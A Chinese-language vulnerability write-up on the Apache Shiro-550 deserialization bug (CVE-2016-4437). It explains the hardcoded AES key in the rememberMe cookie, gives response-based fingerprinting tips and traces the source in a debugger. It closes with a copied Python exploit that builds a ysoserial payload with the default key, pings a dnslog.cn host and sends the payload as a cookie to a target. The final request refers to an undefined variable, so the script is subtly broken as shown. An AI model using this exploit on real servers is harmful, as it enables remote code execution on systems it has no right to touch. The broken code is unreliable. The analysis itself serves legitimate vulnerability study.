shiro550(CVE-2016-4437)

1 漏洞说明

Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。在Apache Shiro <= 1.2.4版本中存在反序列化漏洞。

Shiro的“记住我”功能是设置cookie中的rememberMe值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:

  1. 检索cookie中RememberMe的值
  2. Base64解码
  3. 使用AES解密
  4. 反序列化
    漏洞原因在于第三步,AES加解密的密钥是写死在代码中的,于是我们可以构造RememberMe的值,然后让其反序列化执行。

判断AES秘钥

shiro在1.4.2版本之前, AES的模式为CBC,在1.4.2版本之后为GCM

密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段,

而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段

Shiro框架默认指纹特征:

未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

2 漏洞分析

代码下载

1
2
3
git clone https://github.com/apache/shiro.git  
cd shiro
git checkout shiro-root-1.2.4

编辑shiro\samples\web的pom.xml中的pom.xml文件:

1
2
3
4
5
6
7
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>

首先看下RememberMe值的加密过程。在org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin下个断点,点击debug开启tomcat服务
图片

之后在web端登录账户root/secret,勾选上Remember Me的按钮,程序会停在断点处

图片

首先调用forgetIdentity构造方法处理request和response请求,包括在response中加入cookie信息,然后调用rememberIdentity函数,来处理cookie中的rememberme字段。跟进rememberIdentity函数

图片

rememberIdentity函数首先调用getIdentityToRemember函数来获取用户身份,这里也就是”root”,跟进rememberIdentity构造方法

图片

调用convertPrincipalsToBytes方法将accountPrincipals也就是”root”转换为字节形式,跟进函数

图片

转换过程是先序列化用户身份”id”,在对其进行encrypt,跟进encrypt函数

图片

图片

encrypt函数就是调用AES加密对序列化后的”root”进行加密,加密的密钥由getEncryptionCipherKey()得到,跟进getEncryptionCipherKey()函数会发现其值为常量

图片

继续f8,直到回到rememberIdentity函数

图片

跟进rememberSerializedIdentity函数

图片

发现其对其进行base64编码后,设置到cookie中。到这里我们可以梳理下整个过程,当我们勾选上rememberme选项框后,以root身份登录,后端会进行如下操作:

  • 序列化用户身份”root”
  • 对root进行AES加密,密钥为常量
  • base64编码
  • 设置到cookie中的rememberme字段
    图片

图片

接下来看下rememberme字段的解密过程:

将断点打在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity,然后发送一个带有rememberMe Cookie的请求

图片

跟进getRememberedPrincipals函数

图片

跟进getRememberedSerializedIdentity函数,发现函数提取出cookie并且base64解码

图片

回到getRememberedPrincipals函数,继续跟进到convertBytesToPrincipals函数,发现其对cookie进行AES解密和反序列化

图片

decrypt函数就不贴图了,跟进去很明显就可以看出来其功能。

综上,整个流程为

  • 读取cookie中rememberMe值
  • base64解码
  • AES解密
  • 反序列化
    其中AES加解密的密钥为常量,于是我们可以手动构造rememberMe值,改造其readObject()方法,让其在反序列化时执行任意操作

3 漏洞利用(直接拿网上的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from Crypto.Cipher import AES
import traceback
import requests
import subprocess
import uuid
import base64

target = "ip"
jar_file = 'D:\\java\\ysoserial\\target\\ysoserial-0.0.6-SNAPSHOT-all.jar'
cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="

# 创建 rememberme的值
popen = subprocess.Popen(['java','-jar',jar_file, "URLDNS", "http://e54daa.dnslog.cn"],
                        stdout=subprocess.PIPE)
# 明文需要按一定长度对齐,叫做块大小BlockSize 这个块大小是 block_size = 16 字节
BS = AES.block_size

# 按照加密规则按一定长度对齐,如果不够要要做填充对齐
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

# 泄露的key
key = "kPH+bIxk5D2deZiIxcaaaA=="

# AES的CBC加密模式
mode = AES.MODE_CBC

# 使用uuid4基于随机数模块生成16字节的 iv向量
iv = uuid.uuid4().bytes

# 实例化一个加密方式为上述的对象
encryptor = AES.new(base64.b64decode(key), mode, iv)

# 用pad函数去处理yso的命令输出,生成的序列化数据
file_body = pad(popen.stdout.read())

# iv 与 (序列化的AES加密后的数据)拼接, 最终输出生成rememberMe参数
base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))

# 发送request
try:
    r = requests.get(target, cookies={'rememberMe':base64_ciphertext.decode()}, timeout=10)
except:
    traceback.print_exc()

能检测到dnslog,就说明命令执行成功